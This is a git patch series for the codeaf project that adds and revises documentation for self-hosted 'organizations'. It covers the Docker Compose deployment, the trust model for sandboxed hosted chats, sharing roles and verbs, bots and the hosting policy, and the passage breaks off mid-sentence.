docs/changes/unreleased/2907-org-fullsuite-reds.md diff --git a/docs/changes/unreleased/2907-org-fullsuite-reds.md b/docs/changes/unreleased/2907-org-fullsuite-reds.md new file mode 100644 index 0000000000..bfdc40561b --- /dev/null +++ b/docs/changes/unreleased/2907-org-fullsuite-reds.md @@ -0,0 +1,8 @@ +--- +kind: internal +title: the hosted-chat environment variables are registered operator plumbing, and the real-engine read test uses EngineDir +pr: 2907 +surface: [factory, build] +invalidates: + - "The org server's and sessionhost's CODEAF_* variables were absent from config.OperatorEnvPins, so the full suite's environment registry test failed on org/main; they are now listed there as read-only plumbing." +--- From 2d18101ae757accb5db788e34595534c4f1601bd Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:39:36 -0500 Subject: [PATCH 102/176] change entry: a title that reads as one line Co-Authored-By: Claude Opus 5.5 --- docs/changes/unreleased/2907-org-fullsuite-reds.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/changes/unreleased/2907-org-fullsuite-reds.md b/docs/changes/unreleased/2907-org-fullsuite-reds.md index bfdc40561b..685faa244c 100644 --- a/docs/changes/unreleased/2907-org-fullsuite-reds.md +++ b/docs/changes/unreleased/2907-org-fullsuite-reds.md @@ -1,6 +1,6 @@ --- kind: internal -title: the hosted-chat environment variables are registered operator plumbing, and the real-engine read test uses EngineDir +title: hosted-chat environment variables are registered as operator plumbing pr: 2907 surface: [factory, build] invalidates: From d1b34aaeb1ea5e47996540779929eded280c3fb4 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:07:04 -0500 Subject: [PATCH 103/176] docs: an entry point for organizations, linked from the README docs/organizations.md says what an organization is (a separate account whose chats are hosted on its server, private until shared), what runs where, who can see what, how sharing and verbs work, bots, the hosting policy, the limits that are still open, and a ten-minute path: Compose up, claim, invite, first hosted chat. The top-level README and the documentation map link to it. Co-Authored-By: Claude Sonnet 5.5 --- README.md | 9 ++ docs/README.md | 1 + docs/organizations.md | 247 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 257 insertions(+) create mode 100644 docs/organizations.md diff --git a/README.md b/README.md index 1bb343ba5f..8e1f77d35d 100644 --- a/README.md +++ b/README.md @@ -278,6 +278,14 @@ Still local over a connection: spend, search and memory. Reaching a machine with no ssh at all, through a relay and a pairing code, is built and switches on when the hosted relay does. [How it works](docs/REMOTE.md). +## Run it for a team: an organization + +An organization is a codeaf server your company hosts. People join it from the desktop app, keep their work in a +separate organization account, and run their chats on the organization's machines: every chat in its own sandbox, +private until its owner shares it, with the model key and git access kept out of the chat. One `docker compose up` in +[`deploy/org`](deploy/org/README.md) brings up the server, the AgentField control plane, SWE-AF and PR-AF. +[What an organization is, and a ten-minute path to a first hosted chat](docs/organizations.md). + ## What a copilot does, and what CodeAF does | | a copilot | CodeAF | @@ -308,6 +316,7 @@ Sixteen of ours fit in half a gigabyte; claude's fourth tab alone needs more. - `codeaf manual`, or `alt+.` for the key map. The manual ships in the binary and the chat reads it too. - [Guide](docs/GUIDE.md): every flag, key, slash command and exit code. - [Documentation map](docs/README.md): product manuals, developer architecture, contracts and history. +- [Organizations](docs/organizations.md): host one for your team, or join one; [`deploy/org`](deploy/org/README.md) is the operator's walkthrough. - [Contributing](CONTRIBUTING.md): setup, validation and pull requests. ## Telemetry diff --git a/docs/README.md b/docs/README.md index 7781108582..83ae99ca0d 100644 --- a/docs/README.md +++ b/docs/README.md @@ -9,6 +9,7 @@ contributor rules and historical records serve different readers. | --- | --- | | Install and start using codeaf | [Guide](GUIDE.md) | | Find the exact behavior codeaf explains about itself | [Shipped manual map](../internal/manual/README.md) — separate chat and resident corpora | +| Host an organization for a team, or join one | [Organizations](organizations.md), then [the operator's walkthrough](../deploy/org/README.md) | | Learn the current chat's features | [Chat manual](../internal/manual/chat/what-i-can-do.md), [getting started](../internal/manual/chat/getting-started.md) | | Understand Memory and knowledge from saved chats | [Memory](../internal/manual/chat/what-i-remember.md), [knowledge from saved chats](../internal/manual/chat/places.md#knowledge-from-saved-chats-inside-memory) | diff --git a/docs/organizations.md b/docs/organizations.md new file mode 100644 index 0000000000..5e7cb0e2b0 --- /dev/null +++ b/docs/organizations.md @@ -0,0 +1,247 @@ +# Organizations + +An **organization** is a codeaf server that a company or team runs for its people: the people sign in to it, share +work in it, and run their chats on its machines instead of their own. This page is the entry point. It says what an +organization is, what runs where, who can see what, and how to stand one up and run a first chat in about ten +minutes. The operator's full walkthrough is [`deploy/org/README.md`](../deploy/org/README.md); what a person reads +from inside the running chat is the manual's `organization-*.md` pages (`internal/manual/chat/`). + +Two readers: + +- **The operator** is whoever hosts the organization (an IT person at a company). Read "What runs where", "The ten + minutes" and "What the operator can and cannot see". +- **A person** is someone who joins one and uses it from the desktop app or the terminal. Read "Joining and working in + one", "Sharing a chat" and "What the operator can and cannot see". + +## What an organization is + +- **A separate account.** In the desktop app a switch chooses between **Personal** and each organization you joined. + Personal runs on your computer and never sees the organization's data. An organization is its own account: it owns + what is made in it, and nothing in its window runs on your computer. +- **Hosted chats.** A hosted chat runs on a machine the organization keeps: its folder, its files, its shell, git and + every command are there. Your computer shows the screen and sends what you type. Close the window and the chat keeps + working; open it again and the conversation is there. Hosted chats are off until the operator turns them on. +- **Private by default.** A chat belongs to the person who made it and is invisible to everyone else (not in their + lists, not in live updates, not even its title) until the owner shares it. Sharing is a grant of a role, and a role is + a set of verbs. +- **One organization per deployment.** One deployment of the stack below is one organization. +- **No hosted account.** There is no codeaf-run service to sign up for. An organization is a server somebody runs. + +## What runs where + +``` + a person's computer the organization's machine(s) + + desktop app --- HTTPS / WSS ---> organization server (codeaf, team mode) + or people, roles, sharing, spend, + codeaf chat --org the model door, the git door + | | + | shared secret | node link + v v + sessionhost AgentField control plane + one chat = one |-- factory runner + Linux user in a |-- SWE-AF (issue -> pull request) + Landlock fence `-- PR-AF (pull request review) +``` + +| Piece | What it does | +| --- | --- | +| organization server | `codeaf factory serve` in team mode. Signs people in, keeps the access rules, mints each chat's model access, meters spend, and adds a person's own GitHub access to a chat's git. | +| sessionhost | The machine hosted chats run on. Gives every chat its own Linux user and folder and fences its commands. Optional: only with hosted chats on. | +| AgentField control plane | Routes factory work to the nodes. | +| factory runner, SWE-AF, PR-AF | The factory's nodes: the runner hosts the codeaf factory, SWE-AF builds an issue into a pull request, PR-AF reviews one. | +| modelstub, gitstub | A scripted model and git host for the keyless smoke test only. | + +`deploy/org/` holds one Docker Compose file that runs all of it, the Dockerfiles, and the scripts. The images are built +from pinned sources, scanned for leaked secrets before they are pushed, and a Railway project can run the same +Dockerfiles (see "Railway" in the operator README). + +## The trust model + +Who sees what, and what holds that to be true: + +| Who | What they can reach | What enforces it | +| --- | --- | --- | +| **The owner of a chat** | The chat, its files, its history; it runs on the owner's model access, spending limits and GitHub identity. | The organization server's access rules, checked on every request. | +| **A person the chat is shared with** (a guest) | Only what the role they were given allows (verbs, below). | The server ends the guest's connection itself and checks each call against the guest's verbs. The app only hides controls; it enforces nothing. | +| **Everyone else** | Nothing: asking for a private chat answers `There is no such chat.`, the same as for a chat that never existed. | The same access rules; the chat is left out of their lists and live updates. | +| **The organization's operator** (the person who claimed the organization) | People, roles, policy, totals of spend. Not a private chat: no title, no history, no files. | `operator.sees_private` in the policy is off by default. | +| **A bot** | At most what the person who made it holds, narrowed by its scope, decided again on every request. | The server; a bot is default-deny and may only use the routes on its allow-list. | +| **A chat's own commands** | Their own folder and the internet on four ports (443, 80, 22, 9418 unless changed). Not another chat's files, processes or sockets, and no key or token of anyone's. | Each chat is its own Linux user inside a Landlock fence. The model is reached only through the server's model door with a bearer minted for that one chat; git goes through the server's git door. | +| **Whoever is root on the host** | Everything on the disk, including every chat. | Nothing: that is the honest limit (below). | + +Keys and git: + +- **The organization's model key never enters a chat.** The chat calls the organization server's model door with a + bearer minted for that chat (it ends when the chat is stopped or deleted, and after seven days). The door adds the real key + itself and meters every call to the cent into the owner's account. +- **People may add their own OpenRouter key and GitHub access.** They are sealed on disk with a key per person, which is + itself sealed by `CODEAF_SERVER_KEY`. Back that key up with `.env`. +- **Git goes through the server.** A chat's `git clone` and `git push` to an allowed host (GitHub unless changed) are + rewritten to the organization server, which adds the owner's GitHub access to each request. No token is ever in the + chat. + +## Sharing a chat + +A grant gives a person, a team or the whole organization a **role** on one chat, and a role is a bundle of **verbs**. +The verbs are fixed: `view`, `comment`, `edit`, `run`, `steer`, `answer`, `share`, `manage`. The four roles every +organization starts with (the operator can change their bundles; the names stay): + +| Role | Verbs | +| --- | --- | +| `view` | view | +| `comment` | view, comment | +| `edit` | view, comment, edit, run, steer, answer | +| `full` | all eight | + +What a guest can do in a hosted chat follows from the verbs: `view` watches and reads; `steer` also interrupts a turn +and redirects it; `answer` also answers a question the chat is waiting on; `run` also sends messages, files and +commands. `manage` also stops or deletes the chat. Everything else (approving a tool use, settings, opening the +chat's files) is the owner's whatever the role. + +**The owner owns the chat.** It runs on the owner's credentials, spending limits and GitHub identity. A person who may +send messages acts with the owner's GitHub identity, the owner's files and the owner's limits, and the server records +who asked next to each message, charge and use of the owner's GitHub access. Share at `view` or `comment` to let someone +read along without acting as you. + +The server sends each person's verbs with every chat row, and the client only hides the controls it was not given. +Taking a share away ends the guest's open window within a few seconds (`CODEAF_HOSTED_HEARTBEAT`, five by default). + +## Bots + +A person can make a **bot**: a named identity with its own token (`cbt_...`, shown once, kept only as a hash) for a +script or integration. A bot is owned by its creator and never holds more than the creator does right now. What it +makes (a hosted chat, for example) belongs to the creator and is recorded as made by the bot. It cannot make bots, mint +tokens, use the operator's routes, or touch a person's stored keys. + +## The hosting policy + +The organization's policy (`GET` and `PUT /v1/org/policy`; only the operator changes it) has a `hosting` section: + +- `local_sessions`: `allow`, `warn` or `refuse`. Empty means `refuse` for an organization that runs hosted chats and + `allow` for one that does not. Today the server reports and stores it and the desktop app's organization window is always + hosted: the way to work on your own computer is the Personal account. +- `max_session_cost_usd`: what one hosted chat may spend before its model calls are refused. Zero keeps + `CODEAF_HOSTED_SESSION_CAP_USD` (five dollars). The monthly limit every person's spend is held to is set by the operator in Settings (twenty dollars by default). + +The same policy holds the roles, whether new chats start private (the default for chats and hosted chats), who may share, +and what bots and agents may do. + +A **team server does not trust its own computer.** A request from the server's own machine with no sign-in is refused +like any other (a solo server, a desktop window's own, still trusts it). `loopback_trust` is off for a team server; the +Compose stack cannot turn it on. + +## The ten minutes + +You need Docker with Compose v2.24 or newer, 4 GB of free memory, and a Linux host (Linux 6.12 or newer for the full +sandbox; see the sandbox note below). For real work add an OpenRouter key. For anyone who is not on the same +machine you need an HTTPS name in front of port 8787. + +**1. Set it up.** + +```sh +cd deploy/org +./setup.sh # writes .env with fresh secrets; never prints one +$EDITOR .env # set the lines below, then save a copy of .env somewhere safe +``` + +For hosted chats set these in `.env`: + +```sh +COMPOSE_PROFILES=hosted +CODEAF_HOSTED_URL=http://sessionhost:8790 +CODEAF_HOSTED_MODEL_KEY= # the key the model door uses; it never reaches a chat +CODEAF_SESSIONHOST_MODEL= +CODEAF_PUBLIC_DOMAIN=codeaf.example.com # only when a proxy serves HTTPS on that name (no scheme) +CODEAF_TRUSTED_PROXIES= +``` + +**2. Start it.** The release that a plain build fetches does not contain `codeaf sessionhost`, so build the codeaf image +from this repository once, then start everything (published images work too when they exist; see "Published images" in +the operator README): + +```sh +(cd ../.. && docker build -f deploy/org/codeaf.Dockerfile --build-arg ORG_DIR=deploy/org --build-arg CODEAF_BINARY_FROM=source \ + --build-arg SOURCE_COMMIT=$(git rev-parse HEAD) --label org.opencontainers.image.revision=$(git rev-parse HEAD) \ + -t codeaf-org/codeaf:local .) +docker compose up -d +docker compose ps # every service says "healthy" +docker compose exec sessionhost codeaf sessionhost probe # "ok": true on a machine that can keep chats apart +``` + +The first build takes several minutes. **Sandbox note:** the full fence needs Linux 6.12 or newer. On an older kernel +the sessionhost starts no chats and says why; setting `CODEAF_SESSIONHOST_REQUIRE=uid` lets it run on the user switch +alone, with no limit on what a chat's commands can reach, and it warns in every chat. That is a choice, not a default. + +**3. Claim the organization.** + +```sh +./operator-link.sh # prints the operator link; it is a secret and works once +``` + +Open that `codeaf://factory/join?operator=true...` link in the desktop app (or paste it into **Join an organization...**) +and choose a username and password. Whoever uses it first is the operator, so keep it to yourself until you have. If it +is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. + +**4. Invite a person.** In the desktop app, Settings, Organizations, your organization, **People**: **Invite someone**. +Without `CODEAF_SMTP_URL` nothing is emailed; the button gives you a link to copy. It works for seven days and for one +person. They paste it into **Join an organization...** on their own computer and choose their own username and +password (a passkey or GitHub if the server takes them). + +**5. Run a first hosted chat.** In the desktop app, switch from Personal to the organization and start a new chat there; +it runs on the sessionhost. From a terminal: + +```sh +CODEAF_ORG_TOKEN= codeaf chat --org https://codeaf.example.com +``` + +`--org` takes `https://` for a real server (plain `http://` only for the computer you are on), opens your most recent +chat or makes your first, and a chat shared with you opens with `--session hs_...`. It needs the sign-in token your +organization gave you in `CODEAF_ORG_TOKEN`, or kept once with `codeaf attach --token `. + +To check the whole stack without spending anything: `SMOKE_HOSTED=1 ./smoke.sh` (it runs against a scripted model and +needs an image that has `codeaf sessionhost`; the operator README says how to point it at yours). + +## Joining and working in one + +1. Open the invite link you were sent in the desktop app, or paste it into **Join an organization...**, and sign in (a + username and password, a passkey or GitHub, whichever the server takes). +2. Switch from **Personal** to the organization. Everything in its window is the organization's, and nothing of Personal's + is shown there. +3. Start a chat in the organization's window. It runs on the organization's server, not on your computer; a server that + is down is reported as ` is unreachable.` and the chat never falls back to running locally. +4. Your chats are private until you share them. The chats others shared with you are listed next to yours with what + you may do in each. + +## What the operator can and cannot see + +- The operator cannot open, list or read a private chat; asking for it answers `There is no such chat.`. The operator sees + people, roles, the policy and totals of spend, and the metadata of a chat only when the policy makes chats of that kind + visible. +- **Whoever runs the machine can read everything on its disk**, the operator included in that role, and so can the hosting + platform's administrators. A hosted chat is not private from them, and the stack does not encrypt the disk. If you do not + want your code on a machine your organization runs, use the Personal account. +- A chat's commands can reach the internet and any service listening on an allowed port of the private network (the limit is + by port, not by address), so each service on that network must keep its own sign-in. + +## Known limits + +- A guest's message or steer waits while the owner's window holds the keyboard: the chat itself refuses it in its own words + about the keyboard. It goes through when the owner has no window open, or after the guest takes the keyboard (allowed + with `run`). Interrupting and answering are not affected. A tool-use approval stays with the owner, so a command that + needs one waits for the owner. +- Only the owner moves a chat between My space and a workstream. +- `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. +- The sandbox filters outbound network by port, not by address. +- The Railway template made from the published images does not carry the sessionhost yet; a by-hand Railway install does + (the operator README lists every service and variable). +- GitHub sign-in and invitation mail are optional and untested in the stack; a username and password is the default way in. +- One replica of each service; no high availability. + +## Where to read next + +- [`deploy/org/README.md`](../deploy/org/README.md): environment variables, HTTPS, backups, upgrades, images and the leak + gate, Railway, and every limit in detail. +- `internal/manual/chat/organization-hosted-sessions.md` and `organization-sharing.md`: what a person is told inside the + chat, sentence by sentence. +- [`docs/design/app-v3/PROTOCOL.md`](design/app-v3/PROTOCOL.md): the wire the desktop app and the server speak. From b7ef0b3a3901b72bc131af9af397d4181e26138d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:07:04 -0500 Subject: [PATCH 104/176] deploy/org: the README follows compose.yaml and the code The services table now lists the sessionhost and gitstub profiles, the six volumes and the two networks. Adds a Contents list, loopback trust on a team server (and that this stack cannot turn it on), Invite someone, the idle and user-number settings of the sessionhost, what to do when a published image is not found, and that .env is not git-ignored. Corrects "only the owner drives" against the guest sections, the owner's stop and delete, the no-build advice after building only the codeaf image, and the Railway service count. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 146 +++++++++++++++++++++++++++++++------------ 1 file changed, 106 insertions(+), 40 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 88acc1c268..1c4de82bfe 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -1,10 +1,30 @@ # A codeaf organization you host yourself +New to organizations? Start with [docs/organizations.md](../../docs/organizations.md); this page is the operator's +walkthrough for running one yourself. + +**Contents** + +- [What it runs](#what-it-runs) +- [What you need](#what-you-need) +- [Start it](#start-it) +- [Claim the organization, invite a second person](#claim-the-organization-invite-a-second-person) (and [HTTPS for other people](#other-people-https)) +- [Real work](#real-work) +- [The keyless smoke test](#the-keyless-smoke-test) +- [Hosted chats (optional)](#hosted-chats-optional): [keys, spend and git](#keys-spend-and-git-p1), [sharing, guests and bots](#sharing-guests-and-bots-p2), [turning it on](#turning-it-on) +- [State, backups and upgrades](#state-backups-and-upgrades) +- [Secrets](#secrets) +- [Published images](#published-images) (and the leak gate) +- [Railway](#railway) +- [Known limits](#known-limits) + +## What it runs + One `docker compose up` brings up everything an organization needs, on your own machine or server: the **organization server** people join with their codeaf desktop app, the **AgentField** control plane that routes work, and the reasoner nodes the factory sends work to, **SWE-AF** (builds an -issue into a pull request) and **PR-AF** (reviews one). Nothing in an image is a secret; model keys -come from your environment. +issue into a pull request) and **PR-AF** (reviews one). Hosted chats (the **sessionhost**, below) are an +opt-in profile of the same file. Nothing in an image is a secret; model keys come from your environment. | Service | What it is | Published port | State (volume) | Runs as | | --- | --- | --- | --- | --- | @@ -13,11 +33,17 @@ come from your environment. | `runner` | the factory runner: a codeaf engine that registers the factory on AgentField as the node `codeaf-factory` | none | `runner-data` | uid 10001 | | `swe-af` | SWE-AF, node `swe-planner`, dials AgentField over its node link | none | `swe-af-workspaces` | uid 10002 | | `pr-af` | PR-AF, node `pr-af`, called by AgentField over HTTP | none | `pr-af-workspaces` | uid 10003 | +| `sessionhost` | the machine hosted chats run on, only with `--profile hosted` (or `COMPOSE_PROFILES=hosted`); see "Hosted chats" | none | `sessions-data` | root, with five capabilities | | `modelstub` | a scripted model, only with `--profile stub` (the keyless smoke test) | none | none | nonroot | +| `gitstub` | a scripted git host, only with `--profile stub` (the hosted part of the smoke test) | none | none | root (a test stub) | -Every container starts as root only long enough to hand a freshly mounted volume to its user, then -drops to that user (`scripts/drop-root.sh`); nothing long-lived runs as root. Published ports listen on -127.0.0.1 until you change `CODEAF_BIND` / `AGENTFIELD_BIND` in `.env`. +A plain `docker compose up` starts the first five; the other three need their profile. +Apart from the `sessionhost` and the `gitstub` test stub, every container starts as root only long enough to hand a +freshly mounted volume to its user, then drops to that user (`scripts/drop-root.sh`, or the control plane's own +entrypoint); the `sessionhost` stays root on purpose, because it has to become a different Linux user for every chat +(see "Hosted chats"). Published ports listen on 127.0.0.1 until you change `CODEAF_BIND` / `AGENTFIELD_BIND` in `.env`. +State is in six named volumes, one per row that names one. There are two networks: `default`, which every service +but the `sessionhost` is on, and `hosted`, which only `codeaf` and the `sessionhost` share. ## What you need @@ -31,7 +57,7 @@ drops to that user (`scripts/drop-root.sh`); nothing long-lived runs as root. Pu ```sh cd deploy/org -./setup.sh # writes .env with a fresh AgentField key and organization token (once) +./setup.sh # writes .env with fresh secrets: AgentField key, organization token, hosted-chats secret, server key (once) $EDITOR .env # optional: OPENROUTER_API_KEY=..., GH_TOKEN=..., CODEAF_ORG_NAME=... docker compose up -d --build # the first build takes several minutes; later starts take seconds docker compose ps # every service says "healthy" @@ -54,13 +80,27 @@ machine can. For them, serve the organization on a public HTTPS name (see "Other 1. Open that `codeaf://factory/join?operator=true...` link in the codeaf desktop app (or paste it into **Join an organization...**). Choose a username and a password. Whoever uses the link first is the operator, so keep it to yourself until you have. -2. From **People**, the operator makes an **invite link** for the second person. They paste it into - **Join an organization...** on their own computer and choose their own username and password. +2. From **People** (Settings, Organizations, your organization), the operator uses **Invite someone** for the + second person. Without `CODEAF_SMTP_URL` nothing is emailed and the button reads **Copy an invite link**; the link + works for 7 days and for one person. They paste it into **Join an organization...** on their own computer and + choose their own username and password. 3. A codeaf client connects to this organization with the server's URL, which is inside the link: your public HTTPS name, or `http://[::]:8787` on the machine running Compose. If the operator link is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. +**A request from the server's own computer is not trusted.** An organization server never takes a request to be a +person because of where it came from: a request from the server's own computer that carries no sign-in, token or bot +token is refused with a 401, like one from anywhere else (`/v1/about` and the sign-in routes stay open), and a request +that came through a proxy is never counted as local unless a proxy listed in `CODEAF_TRUSTED_PROXIES` names a +loopback caller. A script on the server's machine must send a token. Solo servers (a desktop window's own) do trust +their own computer; a team server does so only when its host config file says `loopback_trust: true`. The file is +`/factory/config.yaml`, or the one `codeaf factory serve --config` names. **In this stack the key cannot +be set:** `scripts/serve.sh` writes that file from the environment on every start (`/data/codeaf/factory/config.yaml` +in the `codeaf` container) and has no variable for `loopback_trust`, so the server here always runs with it off, and a +line added by hand is replaced at the next start. Nothing in the stack needs it on: the health check treats any HTTP +answer, a 401 included, as up, and the smoke test signs in. + ### Other people: HTTPS Put any proxy that serves HTTPS in front of port 8787, then tell the server its public name and which proxy @@ -104,16 +144,19 @@ puts your own keys back. ## Hosted chats (optional) -By default a person's chat runs on their own computer. With hosted chats on, a person can instead run a -chat on a machine of the organization's: `codeaf chat --org https://your-organization` opens it from their -terminal, the work goes on there, and it is still there when they close the terminal and come back. Nothing -here changes while it is off: with `CODEAF_HOSTED_URL` empty the organization server answers exactly as it did. +An organization is its own account in the desktop app, separate from a person's personal one. With hosted chats +on, every chat made in the organization's window runs on a machine of the organization's, never on the person's +computer, and the window starts, lists and reopens them; there is no local escape inside it, and the way to work on +one's own computer is to switch to the personal account, which never sees the organization's chats or files. +`codeaf chat --org https://your-organization` opens the same chats from a terminal. The work goes on there, and it is +still there when they close the window or terminal and come back. Nothing here changes while it is off: with +`CODEAF_HOSTED_URL` empty the organization server answers exactly as it did. ``` -person's terminal --wss--> organization server --(shared secret)--> sessionhost --> one chat - codeaf chat --org signs the person in, one Linux user, - names them to the sessionhost one folder, fenced commands - mints the chat's model access +person's app or terminal --wss--> organization server --(shared secret)--> sessionhost --> one chat + codeaf chat --org signs the person in, one Linux user, + names them to the sessionhost one folder, fenced commands + mints the chat's model access ``` The **sessionhost** (`sessionhost` in `compose.yaml`) is the one container that starts as root and stays root, @@ -160,17 +203,22 @@ because it has to become a different Linux user for every chat. It is built from token (a credential helper, `codeaf git-credential`, hands git only the chat's own bearer, and only to that one address). - **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` - per person (default 3). A chat counts while it has a process; a person over their limit can still make a - chat but cannot start a third and reads "You already have N chats running; stop one first." + per person (default 3). A chat counts while it has a process; a person at their limit can still make a + chat but cannot start another and reads "You already have N chats running; stop one first." A chat that is stopped or deleted leaves no process behind, including ones that detached themselves. + `CODEAF_SESSIONHOST_IDLE` (default `30m`, never under `5s`) is how long a chat's own program waits with nobody + attached before it stops itself; the conversation and files stay and the next open starts it again. Each chat that + exists holds one of `CODEAF_SESSIONHOST_UID_COUNT` user numbers (default 10000, from `CODEAF_SESSIONHOST_UID_BASE`, + default 200000), and a deleted chat's number rests for 24 hours; with none free a new chat reads "This server has no room for another chat right now." - **A turn goes on without the client.** The chat's engine keeps its conversation behind a socket in the chat's own home, so closing the client in the middle of a turn loses nothing and the next attach shows the result. A socket path has a hard length ceiling, so `CODEAF_SESSIONHOST_DATA` (default `/chats`) must be short: the sessionhost refuses to start with a folder that leaves no room, and says how many characters it may have. -- **Only the owner drives, and a chat is private until it is shared.** The organization server names the signed-in - person to the sessionhost, which knows only owners, so every call it makes for a chat is made as the chat's owner; - whether someone else may reach the chat at all is decided by the organization's access core first (below, "Sharing, - guests and bots (P2)"). A chat nobody has shared answers "There is no such chat.", word for word as an unknown one does. +- **The sessionhost knows only owners, and a chat is private until it is shared.** The organization server names the + signed-in person to the sessionhost, which knows only owners, so every call it makes for a chat is made as the chat's + owner, a guest's included. Whether someone else may reach the chat at all, and what they may do in it, is decided + first by the organization's access core and the guest's wire (below, "Sharing, guests and bots (P2)"); the chat + itself is the owner's. A chat nobody has shared answers "There is no such chat.", word for word as an unknown one does. The five capabilities the container is given (`cap_drop: [ALL]`, then `cap_add`), and why: @@ -228,7 +276,7 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i - **The list.** `GET /v1/hosted/sessions` answers `sessions` (the caller's own chats, the rows P1 gave, so the client's `--org` pick is unchanged), `shared` (chats of other people the caller may open: `id`, `owner`, `role`, `access`, `state`, `created`, `last_active`, and nothing about the model access or warnings; the operator's rows, - only for a chat the policy keeps from being private, hold the same without `role` and have `access: operator`) and + only for a chat the policy does not make private, hold the same without `role` and have `access: operator`) and `hosting` (`local_sessions`, below). Every row of `sessions` and `shared` also carries `verbs`: what the policy gives the caller in that chat right now, in the order of the policy's verbs, decided the way the guest's wire decides it (an operator-only row holds none, and the answer to `POST /v1/hosted/sessions` carries the same field @@ -279,9 +327,10 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i `allow` for one that does not; the list reports the value that applies, with `words` to show for `refuse` (that chats do not start on this computer and that the personal account is the way to work here) and for `warn`. An organization is its own account in the app, separate from the person's personal one: inside it every chat is - hosted and there is no local escape; switching to the personal account is the escape. A positive `max_session_cost_usd` replaces - `CODEAF_HOSTED_SESSION_CAP_USD` for every chat. Nothing in the client acts on `local_sessions` yet: this release - reports and stores it. + hosted and there is no local escape; switching to the personal account is the escape. That does not depend on + `local_sessions`: the organization's window is always hosted, and no client acts on `allow` or `warn` yet, so the + setting is reported and stored and nothing more. A positive `max_session_cost_usd` replaces + `CODEAF_HOSTED_SESSION_CAP_USD` for every chat. Known limit of this version: a guest's `Steer` or prompt is refused by the chat itself, in the chat's own words about the keyboard, while the owner's window holds the keyboard, because the guest's window does not take it on arrival; it @@ -303,8 +352,9 @@ is a change to the wire's own protocol and not made here. 3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`, and the pinned release (what a plain `--build` fetches) does not until one ships it. Use the published image (`--env-file images.env`, see "Published images"), or build the codeaf image from this repository's source (the `docker build` under "Published images", run from the repository root, - which tags `codeaf-org/codeaf:local`) and start with `docker compose up -d --no-build`. `codeaf`, `runner` and `sessionhost` all - run that one image. Do not build from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` + which tags `codeaf-org/codeaf:local`) and start with `docker compose up -d` without `--build` (Compose builds only the images that + are missing, so it uses the codeaf image you just made; `--no-build` is for when every image is already built or pulled). + `codeaf`, `runner` and `sessionhost` all run that one image. Do not build from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` inside it reports. The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach @@ -312,10 +362,14 @@ AgentField, the nodes, the runner or the model stub. On a platform with no such is what keeps them out. Its API (`/v1/sessions` ...) wants the shared secret and a person's name from the organization server, and answers anything else with an empty `401`. -`SMOKE_HOSTED=1 ./smoke.sh` runs everything above against the scripted stub (so it spends nothing): two people +`SMOKE_HOSTED=1 ./smoke.sh` runs everything above against the scripted stub (so it spends nothing). It needs an image +whose codeaf has `codeaf sessionhost` (step 3 above: the pinned release a plain build fetches does not), so give it +one that is already built or pulled with `SMOKE_BUILD=--no-build` (and `SMOKE_ENV='--env-file images.env'` for the +published ones), or build from a binary copied beside the Dockerfile as `codeaf-local` with +`CODEAF_BINARY_FROM=local` (the header of `smoke.sh` has the command). Two people run chats; the test checks that they cannot see each other's files, processes or environment, that no secret is in a chat's shell, folder or process list, that a chat cannot reach the other services (and that the kernel refuses -a port nobody allowed), that only the owner can attach, that closing the client mid-turn loses nothing, that a stopped +a port nobody allowed), that nobody but the owner can attach to a chat that is not shared, that closing the client mid-turn loses nothing, that a stopped chat leaves no process, and that a restart of the sessionhost leaves the files in place. It also checks, against the stub model (each call reports it cost a cent) and a stub git host: the upstream sees only the organization's key, spend is exact to the cent, the monthly and per-chat limits refuse in plain words, a person's own key is used for them alone @@ -328,7 +382,7 @@ command it tries is refused in the exact sentence and never reaches the chat; wi message reaches the chat, runs as the owner and is recorded against it, it may interrupt a running turn, and the owner's approvals and settings stay refused; taking `run` out of the role by a policy edit refuses its next message; taking the access away ends its open window within the heartbeat; -the operator sees only metadata of a chat the policy keeps from being private and never its wire; a bot sees +the operator sees only metadata of a chat the policy does not make private and never its wire; a bot sees exactly what its creator sees, starts chats that are its creator's alone, and loses a shared chat the moment its creator does; the hosting policy is reported, changed only by the operator and refused when it is not one of the three words. It prints PASS or FAIL per check. A live check against a real provider is the one step it does not do. @@ -340,8 +394,12 @@ Landlock (`"mode": "uid+fence"`, `"fence_mode": "landlock"`). ## State, backups and upgrades -State lives in five named volumes (`docker volume ls`, prefix `codeaf-org_`); `docker compose down` keeps them, -`docker compose down -v` deletes them. A backup of one volume: +State lives in six named volumes (`docker volume ls`, prefix `codeaf-org_`): `agentfield-data`, `codeaf-data`, +`runner-data`, `swe-af-workspaces`, `pr-af-workspaces`, and `sessions-data` (the hosted chats' folders, used only with +the `hosted` profile). `docker compose down` keeps them, `docker compose down -v` deletes them. The organization server's own +state (its people, access links, spend and sealed keys) is in `codeaf-data` and the hosted chats' folders are in +`sessions-data`; back `codeaf-data` up together with `.env`, which holds the server key that seals people's own keys. +A backup of one volume: ```sh docker run --rm -v codeaf-org_codeaf-data:/d -v "$PWD":/b busybox tar czf /b/codeaf-data.tgz -C /d . @@ -351,14 +409,16 @@ Everything is pinned: the codeaf release (`CODEAF_RELEASE` and its two sha256 va `codeaf.Dockerfile`, `swe-af.Dockerfile` and `pr-af.Dockerfile`), the SWE-AF and PR-AF commits (`SWEAF_REF`, `PRAF_REF`) and the AgentField image (`AGENTFIELD_IMAGE`, tag and digest together in `agentfield.Dockerfile`). To upgrade, change the pin, then `docker compose up -d --build`. Changing the line in the file is what makes -Docker 